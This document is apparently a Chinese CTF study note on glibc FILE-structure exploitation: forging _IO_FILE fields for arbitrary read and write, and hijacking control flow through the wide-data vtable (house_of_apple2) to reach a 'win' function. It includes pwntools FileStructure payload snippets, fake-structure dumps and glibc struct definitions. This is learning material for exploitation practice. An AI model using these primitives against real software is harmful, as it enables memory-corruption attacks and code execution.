伪造w权限IO_file ,进行任意地址读

关键:

假设需要泄露 ptr ~ ptr+len

_flags & 0xffff= 0x800

_IO_write_base = ptr

_IO_read_end = _IO_write_base

_IO_write_ptr = ptr + len

fileno = 1 (stdout)

other = null

脚本编写

可以用FileStructure 内置.write函数

fp = FIleStructure()
payload = fp.write(ptr,lenth)

print一下,看看内置的是如何伪造的

(ptr = 0x4040e0,len = 60)

{ flags: 0x800
_IO_read_ptr: 0x0
_IO_read_end: 0x4040e0
_IO_read_base: 0x0
_IO_write_base: 0x4040e0
_IO_write_ptr: 0x40411c
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x1
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}

伪造r权限IO_file ,进行任意地址写

关键:

_IO_read_end = _IO_read_ptr

_flags & 4 = 0

_IO_buf_base ptr

_IO_buf_end ptr+length

注意这个length是要根据函数里面给的length变化的 不是自己瞎写的 最好是稍微比给的大一点 防止又刷缓冲区

脚本编写

模仿一下前文的write

{ flags: 0x0
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: 0x404040
_IO_buf_end: 0x40405e
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x0
_flags2: 0x0
_old_offset: 0xffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}

可以看到python搞出来的更加暴力

另外如果不是想从stdin读的话,可能需要重新设置fileno。用fp.fileno字段修改

另外 fread貌似不会自动停止

伪造 _fileno 泄露数据到stdout或有权限文件

如题 伪造_fileno即可

伪造wfile中vtable 劫持执行流

house_of_apple2? 挺好的

关键

能修改vtable,使得某io函数call到_IO_wfile_overflow

伪造_wide_data结构体vtable

_lock 字段指向w权限地址 且为0

struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};



struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

Here is the contents of the FILE structure.
fp -> 0x3ce283b0
0x00 _flags *0x3ce283b0 = 0x0
0x08 _IO_read_ptr *0x3ce283b8 = (nil)
0x10 _IO_read_end *0x3ce283c0 = (nil)
0x18 _IO_read_base *0x3ce283c8 = (nil)
0x20 _IO_write_base *0x3ce283d0 = (nil)
0x28 _IO_write_ptr *0x3ce283d8 = (nil)
0x30 _IO_write_end *0x3ce283e0 = (nil)
0x38 _IO_buf_base *0x3ce283e8 = (nil)
0x40 _IO_buf_end *0x3ce283f0 = (nil)
0x48 _IO_save_base *0x3ce283f8 = (nil)
0x50 _IO_backup_base *0x3ce28400 = (nil)
0x58 _IO_save_end *0x3ce28408 = (nil)
0x60 _markers *0x3ce28410 = (nil)
0x68 _chain *0x3ce28418 = (nil)
0x70 _fileno *0x3ce28420 = 0
0x74 _flags2 *0x3ce28424 = 0
0x78 _old_offset *0x3ce28428 = -1
0x80 _cur_column *0x3ce28430 = 0
0x82 _vtable_offset *0x3ce28432 = 0
0x83 _shortbuf *0x3ce28433 = 51
0x88 _lock *0x3ce28438 = 0x3ce282a0
0x90 _offset *0x3ce28440 = -1
0x98 _codecvt *0x3ce28448 = (nil)
0xa0 _wide_data *0x3ce28450 = 0x3ce282a0
0xa8 _freeres_list *0x3ce28458 = (nil)
0xb0 _freeres_buf *0x3ce28460 = (nil)
0xb8 __pad5 *0x3ce28468 = 0
0xc0 _mode *0x3ce28470 = 0
0xc4 _unused2[20] *0x3ce28474 = {0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}

👆 定义速查

脚本编写

fp = FileStructure()
fp._wide_data = buf_address

wfilejump = libc.sym["_IO_wfile_jumps"]
print(hex(wfilejump))
fp.vtable = wfilejump + 0x18 - 0x38
fp._lock = buf_address
fp._wide_data = buf_address
payload = bytes(fp)

fake_vtable = b"\x00" * 0x68 + p64(elf.sym["win"])
fake_vtable = fake_vtable.ljust(0xE0, b"\x00")
fake_vtable += p64(buf_address)

buf_address 里面 写的是 fake_vtable

fp.vtable 后面的 - 0x38 需要通过按照真实的情况来判断,fwrite 是 -0x38。

有时候fake_vtable可以直接塞到fp 里面 是个比较高级的写法